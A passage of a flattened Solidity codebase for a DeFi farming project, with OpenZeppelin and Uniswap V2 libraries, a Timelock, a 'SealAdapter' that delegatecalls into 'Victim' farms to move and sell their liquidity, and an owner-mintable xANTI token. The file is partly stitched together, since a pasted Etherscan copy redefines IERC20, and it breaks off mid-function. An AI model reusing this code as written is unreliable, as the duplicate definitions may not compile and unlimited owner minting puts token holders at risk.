// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin\contracts\math\SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: node_modules\@openzeppelin\contracts\GSN\Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin\contracts\access\Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts\interfaces\IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts\interfaces\IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function migrator() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setMigrator(address) external;
}
// File: contracts\libraries\SafeMath.sol
pragma solidity =0.6.12;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMathUniswap {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts\libraries\UniswapV2Library.sol
pragma solidity >=0.5.0;
library UniswapV2Library {
using SafeMathUniswap for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
// File: contracts\Timelock.sol
pragma solidity 0.6.12;
contract Timelock {
using SafeMath for uint;
event NewAdmin(address indexed newAdmin);
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint indexed newDelay);
event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
uint public constant GRACE_PERIOD = 14 days;
uint public constant MINIMUM_DELAY = 24 hours;
uint public constant MAXIMUM_DELAY = 30 days;
address public admin;
address public pendingAdmin;
uint public delay;
bool public admin_initialized;
mapping (bytes32 => bool) public queuedTransactions;
constructor(address admin_, uint delay_) public {
require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::constructor: Delay must not exceed maximum delay.");
admin = admin_;
delay = delay_;
admin_initialized = false;
}
receive() external payable { }
function setDelay(uint delay_) public {
require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock.");
require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
delay = delay_;
emit NewDelay(delay);
}
function acceptAdmin() public {
require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin.");
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
function setPendingAdmin(address pendingAdmin_) public {
// allows one time setting of admin for deployment purposes
if (admin_initialized) {
require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock.");
} else {
require(msg.sender == admin, "Timelock::setPendingAdmin: First call must come from admin.");
admin_initialized = true;
}
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) {
require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin.");
require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public {
require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(address target, uint _value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) {
require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, _value, signature, data, eta));
require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued.");
require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale.");
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call{value:_value}(callData);
require(success, "Timelock::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(txHash, target, _value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint) {
// solium-disable-next-line security/no-block-members
return block.timestamp;
}
}
// File: contracts\SealAdapter.sol
pragma solidity 0.6.12;
contract Victim{}
library SealAdapter {
// Victim info
function rewardToken(Victim victim) external view returns (IERC20) {
(bool success, bytes memory result) = address(victim).staticcall(abi.encodeWithSignature("rewardToken()"));
require(success, "rewardToken() staticcall failed.");
return abi.decode(result, (IERC20));
}
function poolCount(Victim victim) external view returns (uint256) {
(bool success, bytes memory result) = address(victim).staticcall(abi.encodeWithSignature("poolCount()"));
require(success, "poolCount() staticcall failed.");
return abi.decode(result, (uint256));
}
function sellableRewardAmount(Victim victim) external view returns (uint256) {
(bool success, bytes memory result) = address(victim).staticcall(abi.encodeWithSignature("sellableRewardAmount()"));
require(success, "sellableRewardAmount() staticcall failed.");
return abi.decode(result, (uint256));
}
// Victim actions
function sellRewardForWeth(Victim victim, uint256 rewardAmount, address to) external returns(uint256) {
(bool success, bytes memory result) = address(victim).delegatecall(abi.encodeWithSignature("sellRewardForWeth(address,uint256,address)", address(victim), rewardAmount, to));
require(success, "sellRewardForWeth(uint256 rewardAmount, address to) delegatecall failed.");
return abi.decode(result, (uint256));
}
// Pool info
function lockableToken(Victim victim, uint256 poolId) external view returns (IERC20) {
(bool success, bytes memory result) = address(victim).staticcall(abi.encodeWithSignature("lockableToken(uint256)", poolId));
require(success, "lockableToken(uint256 poolId) staticcall failed.");
return abi.decode(result, (IERC20));
}
function lockedAmount(Victim victim, uint256 poolId) external view returns (uint256) {
// note the impersonation
(bool success, bytes memory result) = address(victim).staticcall(abi.encodeWithSignature("lockedAmount(address,uint256)", address(this), poolId));
require(success, "lockedAmount(uint256 poolId) staticcall failed.");
return abi.decode(result, (uint256));
}
// Pool actions
function deposit(Victim victim, uint256 poolId, uint256 amount) external {
(bool success,) = address(victim).delegatecall(abi.encodeWithSignature("deposit(address,uint256,uint256)", address(victim), poolId, amount));
require(success, "deposit(uint256 poolId, uint256 amount) delegatecall failed.");
}
function withdraw(Victim victim, uint256 poolId, uint256 amount) external {
(bool success,) = address(victim).delegatecall(abi.encodeWithSignature("withdraw(address,uint256,uint256)", address(victim), poolId, amount));
require(success, "withdraw(uint256 poolId, uint256 amount) delegatecall failed.");
}
function claimReward(Victim victim, uint256 poolId) external {
(bool success,) = address(victim).delegatecall(abi.encodeWithSignature("claimReward(address,uint256)", address(victim), poolId));
require(success, "claimReward(uint256 poolId) delegatecall failed.");
}
function emergencyWithdraw(Victim victim, uint256 poolId) external {
(bool success,) = address(victim).delegatecall(abi.encodeWithSignature("emergencyWithdraw(address,uint256)", address(victim), poolId));
require(success, "emergencyWithdraw(uint256 poolId) delegatecall failed.");
}
// Service methods
function poolAddress(Victim victim, uint256 poolId) external view returns (address) {
(bool success, bytes memory result) = address(victim).staticcall(abi.encodeWithSignature("poolAddress(uint256)", poolId));
require(success, "poolAddress(uint256 poolId) staticcall failed.");
return abi.decode(result, (address));
}
function rewardToWethPool(Victim victim) external view returns (address) {
(bool success, bytes memory result) = address(victim).staticcall(abi.encodeWithSignature("rewardToWethPool()"));
require(success, "rewardToWethPool() staticcall failed.");
return abi.decode(result, (address));
}
}
// File: contracts\MasterSeal.sol
/**
*Submitted for verification at Etherscan.io on 2020-10-06
*/
// File: node_modules\@openzeppelin\contracts\token\ERC20\IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin\contracts\token\ERC20\ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts\CZToken.sol
pragma solidity 0.6.12;
contract CZToken is ERC20("xANTI", "xANTI"), Ownable {
using SafeMath for uint256;
event Minted(address indexed minter, address indexed receiver, uint mintAmount);
event Burned(address indexed burner, uint burnAmount);
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
emit Minted(owner(), _to, _amount);
}
function burn(uint256 _amount) public {
_burn(msg.sender, _amount);
